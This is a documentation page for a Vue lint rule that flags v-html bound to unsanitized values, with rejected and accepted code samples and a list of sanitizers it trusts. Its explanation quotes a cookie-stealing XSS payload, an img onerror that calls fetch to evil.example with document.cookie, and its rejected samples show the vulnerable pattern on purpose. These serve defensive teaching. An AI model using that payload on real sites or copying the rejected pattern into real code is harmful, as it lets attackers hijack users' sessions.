vue-v-html
v-html with a value that isn't a constant string, the result of a sanitizer, or typed Html.
Why: Vue escapes everything it renders with {{ }}, but v-html inserts the value as HTML, as it is. If any part of it comes from a user or the network, it can run script in your page: <img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)"> in a comment steals the session of everyone who reads it (XSS). Guide: Vue.
✕ Rejectedvue-v-html
vue
<script setup lang="ts">
const props = defineProps<{ comment: string }>();
</script>
<template>
<div v-html="props.comment"></div>
<div v-html="'<p>' + props.comment + '</p>'"></div>
<div v-html="`<p>${props.comment}</p>`"></div>
</template>✅ Accepted: render it as text
✓ Accepted0 diagnostics
vue
<script setup lang="ts">
const props = defineProps<{ comment: string }>();
</script>
<template>
<p>{{ props.comment }}</p>
</template>✅ Accepted: when it must be HTML, the project's one sanitizer, declared with defineSanitizer. What it returns is typed Html, and accepted wherever it comes from
✓ Accepted0 diagnostics
vue
<script setup lang="ts">
import DOMPurify from "dompurify";
import { computed } from "vue";
import { defineSanitizer, type Html } from "@evobug_com/safe-ts-vue/html";
const sanitizeHtml = defineSanitizer((raw) => DOMPurify.sanitize(raw));
const props = defineProps<{ comment: string; signature: Html }>();
const body = computed(() => sanitizeHtml(props.comment));
</script>
<template>
<div v-html="body"></div>
<div v-html="props.comment === '' ? props.signature : body"></div>
</template>✅ Also accepted: a known sanitizer called where the checker sees it, in a project without defineSanitizer
✓ Accepted0 diagnostics
vue
<script setup lang="ts">
import { computed } from "vue";
import DOMPurify from "dompurify";
const props = defineProps<{ comment: string; signature: string }>();
const signature = computed(() => DOMPurify.sanitize(props.signature));
</script>
<template>
<div v-html="DOMPurify.sanitize(props.comment)"></div>
<div v-html="signature"></div>
</template>✅ Accepted: HTML written out in full
✓ Accepted0 diagnostics
vue
<template>
<div v-html="'<b>New:</b> comments'"></div>
</template>Accepted values:
- HTML written out in full: a string literal, a template string without
${}, a+of those; - a known sanitizer's result:
DOMPurify.sanitize(x)(dompurify,isomorphic-dompurify, also on an instance made withDOMPurify(window)),sanitizeHtml(x)fromsanitize-html,filterXSS(x)or the default export ofxss; - a call to a function of yours whose every
returnis one of these, in this file or imported from another (renderMarkdown(md)returningDOMPurify.sanitize(marked(md))); - a
constor acomputedholding one of these (const html = computed(() => DOMPurify.sanitize(raw))); - a value whose type is
Html, wherever it comes from: acomputed, aconst, a prop typedHtml, what a function is declared to return, also in another file.escapeHtml(text)and a sanitizer declared withdefineSanitizermake one; ok ? sanitized : "",sanitized || "",sanitized ?? "",ok && sanitized: each branch accepted (either way: as sanitized HTML, or by its type) or empty;- a template or
+whose parts are each one of these, or a number (`<b>${escapeHtml(name)}</b> (${count})`).
These are the values every markup sink accepts: innerHTML, insertAdjacentHTML, document.write (markup-sink) and React's dangerouslySetInnerHTML are judged by the same code.
The two ways meet: a sanitized computed and a prop typed Html can be the two branches of one ?:. A function isn't trusted for its name: sanitizeHtml of your own that returns its input is reported. defineSanitizer doesn't look inside either; it is where the project vouches for its sanitizer, once, and every value it returns is an Html to TypeScript too (a prop typed Html can't be given a plain string). Any other part in a string or template is reported, even next to escaped text.
Sanitizers the checker can't follow (a package it doesn't know, HTML the server already cleaned) can be listed in the package.json that holds your "safe-ts" settings:
json
{
"safe-ts": { "vue": { "sanitizers": ["renderTrustedHtml", "Html.clean"] } }
}A name there is trusted as written at the call (renderTrustedHtml(x), Html.clean(x)), without looking at what it does: keep the list short and review those functions.
What the rule can't see: HTML sanitized into a ref or a variable that is assigned later (html.value = DOMPurify.sanitize(raw)) is still reported: use a computed, call the sanitizer in the binding, or declare the ref with the type (ref<Html>(escapeHtml(""))), which only takes an Html. A sanitizer reached through an object (utils.html.clean(x)) isn't followed; a namespace import (import * as html) is.